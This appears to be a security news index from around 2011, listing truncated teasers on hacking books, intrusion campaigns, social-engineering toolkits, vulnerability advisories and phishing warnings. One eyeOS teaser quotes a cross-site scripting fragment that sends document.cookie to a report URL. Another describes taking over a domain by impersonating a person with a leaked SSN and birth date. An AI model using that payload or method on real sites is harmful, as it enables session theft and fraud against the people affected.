THN Review : Ghost in the Wires - Kevin Mitnick

THN Review : Ghost in the Wires - Kevin Mitnick First of all Thanks to Mr. Kevin Mitnick for sending Review Copy of his latest book & Auto-Biography "Ghost in the Wires - My Adventures As The World's Most Wanted Hacker". I take about a week to read this amazing book and Finally The Hacker News...

Byzantine Hades

Byzantine Hades is a code name given to a wide ranging and persistent group of network intrusions into U.S. military, government, and corporate systems. The operations can be broken down into three sub-categories: Byzantine Candor, Byzantine Anchor and Byzantine Foothold. Information on the hacks...

The Social-Engineer Toolkit v1.5 Released

The Social-Engineer Toolkit v1.5 Released The Social Engineering Toolkit SET is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It's main purpose is to augment and simulate social-engineering attacks and allow the tester to...

Javascript Injection in Microsoft Lync 4.0.7577.0

============================================================================ Foofus.net Security Advisory: foofus-20110610 ============================================================================ Title: Javascript Injection in Microsoft Lync Version: 4.0.7577.0 Vendor: Microsoft Release Date:...

Microsoft Lync 4.0.7577.0 Javascript Injection

============================================================================ Foofus.net Security Advisory: foofus-20110610 ============================================================================ Title: Javascript Injection in Microsoft Lync Version: 4.0.7577.0 Vendor: Microsoft Release Date:...

XMPP Service STARTTLS Plaintext Command Injection

The remote XMPP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase. Successful exploitation could reveal a user's...

The Social-Engineer Toolkit v1.4 latest Version !

The Social-Engineer Toolkit v1.4 latest Version ! The Social Engineering Toolkit SET is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It's main purpose is to augment and simulate social-engineering attacks and allow the tester to...

Fake antivirus campaign on India's DNA e-newspaper website !

Fake antivirus campaign on India's DNA e-newspaper website ! DNA Daily News and Analysis is an Indian daily English language newspaper. According to Wikipedia, DNA ranks 8th among the top ten English dailies in India. Recently, the Zscaler solution was blocking access to this site, as it containe...

Mississippi Flooding Disaster Email Scams, Fake Antivirus, and Phishing Attack Warning

Users should be aware of potential email scams, fake antivirus, and phishing attacks regarding the Mississippi flooding disaster. Email scams may contain links or attachments that may direct users to phishing or malicious websites. Fake antivirus attacks may come in the form of pop-ups that flash...

eyeOS Shell Upload / Cross Site Scripting

A few weeks ago, an exploit for an increasingly more popular open source OS on http://www.exploit-db.com/exploits/17220/ was made public, it was titled 'eyeOS var http = new XMLHttpRequest var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;...

Anonymous IRC hacker, Ryan Cleary Exposed !

Anonymous IRC hacker, Ryan Cleary Exposed ! The 'Anonymous' collective named Ryan Cleary as the person responsible for breaching two of its own sites. The 18-year-old was accused of trying to bring down message boards used by Anonymous members to communicate with each other. Read Here 'We regret ...

'The Hacker News' Magazine - Social Engineering Edition - Issue 02 - May,2011 Released !

'The Hacker News' Magazine - Social Engineering Edition - Issue 02 - May,2011 Released ! We are happy to Announce that 'The Hacker News' THN Magazine Issue 02 May 2011 is Out . This time we cover "Social Engineering Edition" . The Index of Content is as Given Below : Social Engineering Opsony By...

Osama Bin Laden's Death Email Scams, Fake Antivirus, and Phishing Attack Warning

Users should be aware of potential email scams, fake antivirus, and phishing attacks regarding Osama Bin Laden's death. Email scams may contain links or attachments that may direct users to malicious websites. Fake antivirus attacks may come in the form of pop-ups that flash security warnings and...

Video Game Phishing

US-CERT is aware of reports that some users on the Xbox 360 video game system are receiving potential phishing attempts through an in-game messaging service. In-game message phishing is not a Microsoft issue and has nothing to do with Xbox LIVE. Games are products of third party developers that a...

The Social-Engineer Toolkit v1.3.5 Released !

The Social-Engineer Toolkit v1.3.5 Released ! "The Social Engineering Toolkit SET is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It's main purpose is to augment and simulate social-engineering attacks and allow the tester to...

Oracle Outside In Technology File Processing Arbitrary Code Execution Vulnerability

Oracle Outside In Technology components used by the Oracle Fusion Middleware applications contain a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code on the targeted system. The vulnerability exists due to incorrect processing of Lotus 1-2-3 spreadsheet...

Weird Science: Verizon Finds Stunning Drop in Data Theft

If there’s one thing that scientists and statisticians both hate, its weird data. And that’s what the folks at Verizon were dealing with when they tallied the results of their 2011 Data Breach Report which found a stunning 97% drop in the number of lost records, even as the number of reported...

Attackers taking advantage of Epsilon !

We blogged about the Epsilon data breach to give our customers a heads-up on the situation. Recently, our ThreatSeeker® Network discovered a Web attack that takes advantage of the unfortunate news. As with anything our ThreatSeeker Network discovers, Websense customers are protected by ACE, our...

The Social-Engineer Toolkit v1.3.2 , New version Download !

The Social-Engineer Toolkit v1.3.2 , New version Download ! The Social Engineering Toolkit SET is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It's main purpose is to augment and simulate social-engineering attacks and allow the...

Progenic.com down with Social Engineering by Saken & Josh of TeamDX !

Progenic.com down with Social Engineering by Saken & Josh of TeamDX ! Method: Social Engineering via LiveChat + Phone + Support Ticket System How: They had a SSN + DOB posted on their forum, Saken & Josh of TeamDX simply played the role of the person that the identity was stolen from, their domai...